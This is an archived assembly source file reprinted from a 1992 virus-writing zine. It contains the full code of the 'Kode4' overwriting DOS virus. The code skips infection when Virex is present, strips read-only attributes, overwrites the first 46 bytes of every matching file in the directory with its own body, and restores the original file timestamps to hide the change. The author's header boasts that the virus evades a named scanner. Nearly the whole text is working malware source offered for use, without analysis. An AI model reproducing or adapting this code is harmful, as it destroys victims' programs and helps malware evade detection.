home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / k / kode4.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  3.6 KB  |  101 lines

  1. ─────────═════════>>> Article From Evolution #2 - YAM '92
  2.  
  3.  
  4.  
  5. Article Title: Kode 4 v1 Virus
  6.  
  7. Author: Soltan Griss
  8.  
  9.  
  10.  
  11.  
  12.  
  13. ;######################################################################
  14.  
  15. ;#  Name:  Kode4 version 1.0 (overwritting stage)
  16.  
  17. ;#  Author:  Soltan Griss  [YAM]
  18.  
  19. ;#
  20.  
  21. ;#  Description: What this sucker does is very simple. it overwrites
  22.  
  23. ;#               the first 46 bytes of all com files in the current
  24.  
  25. ;#               directory, with it's own code... as of scanv93, this
  26.  
  27. ;#               virus is undetectable..
  28.  
  29. ;#
  30.  
  31. ;#
  32.  
  33. ;#  Special Thanks go out to Data Disruptor.. If it were not for you i
  34.  
  35. ;#          would still be fucking lost!!!!
  36.  
  37. ;#
  38.  
  39. ;######################################################################
  40.  
  41.  
  42.  
  43. seg_a           segment byte public
  44.  
  45.                 assume  cs:seg_a, ds:seg_a
  46.  
  47.  
  48.  
  49.  
  50.  
  51.                 org     100h
  52.  
  53. V_Length        equ     last-start
  54.  
  55. KODE4           proc    far       
  56.  
  57.  
  58.  
  59. start           label   near            ;Check for Virex installiation
  60.  
  61.           
  62.  
  63.                 mov     ax,0ff0fh
  64.  
  65.                 int     21h
  66.  
  67.                 cmp     ax,0101h        ;Abort if Virex Protection
  68.  
  69.                 je      done            ; present
  70.  
  71.  
  72.  
  73.  
  74.  
  75.                 mov     ah,4Eh             ;Find first Com file
  76.  
  77.                 mov     dx,offset filename ;use "*.com"     
  78.  
  79.                 int     21h                
  80.  
  81.                                     
  82.  
  83. Back:                                       
  84.  
  85.                 mov     ah,43h              ;get rid of read only
  86.  
  87.                 mov     al,0
  88.  
  89.                 mov     dx,9eh
  90.  
  91.                 int     21h
  92.  
  93.                 mov     ah,43h
  94.  
  95.                 mov     al,01
  96.  
  97.                 and     cx,11111110b
  98.  
  99.                 int     21h
  100.  
  101.           
  102.  
  103.                 mov     ax,3D01h           ;Open file for writing
  104.  
  105.                 mov     dx,9Eh             ;get file name from file DTA
  106.  
  107.                 int     21h                  
  108.  
  109.                                         
  110.  
  111.                 mov     bx,ax               ;save handle in bx
  112.  
  113.                 mov     ah,57h              ;get time date
  114.  
  115.                 mov     al,0
  116.  
  117.                 int     21h
  118.  
  119.                 
  120.  
  121.                 push    cx                  ;put in stack for later
  122.  
  123.                 push    dx
  124.  
  125.  
  126.  
  127.  
  128.  
  129.                 mov     dx,100h            ;Start writing at 100h
  130.  
  131.                 mov     cl,v_length        ;write 46 bytes
  132.  
  133.                 mov     ah,40h             ;Write Data into the file
  134.  
  135.                 int     21h                   
  136.  
  137.                                               
  138.  
  139.                                               
  140.  
  141.                 pop     dx                 ;Restore old dates and times 
  142.  
  143.                 pop     cx
  144.  
  145.                 mov     ah,57h
  146.  
  147.                 mov     al,01h
  148.  
  149.                 int     21h
  150.  
  151.  
  152.  
  153.  
  154.  
  155.  
  156.  
  157.                 mov     ah,3Eh             ;Close the file
  158.  
  159.                 int     21h                   
  160.  
  161.                                                
  162.  
  163.                 mov     ah,4Fh             ;Find Next file
  164.  
  165.                 int     21h                    
  166.  
  167.                                                 
  168.  
  169.                 jnc     Back                 
  170.  
  171.                 mov     ah,9h
  172.  
  173.                 mov     dx,offset DATA
  174.  
  175.                 int     21h
  176.  
  177.  
  178.  
  179. done:           int     20h                ;Terminate Program
  180.  
  181. filename        db      "*.c*",0                     
  182.  
  183. DATA            db      " -=+ Kode4 +=-, The one and ONLY!$"
  184.  
  185.  
  186.  
  187.  
  188.  
  189. kode4           endp
  190.  
  191. LAST            label near
  192.  
  193. seg_a           ends
  194.  
  195.                 end     start
  196.  
  197.  
  198.  
  199.  
  200.  
  201.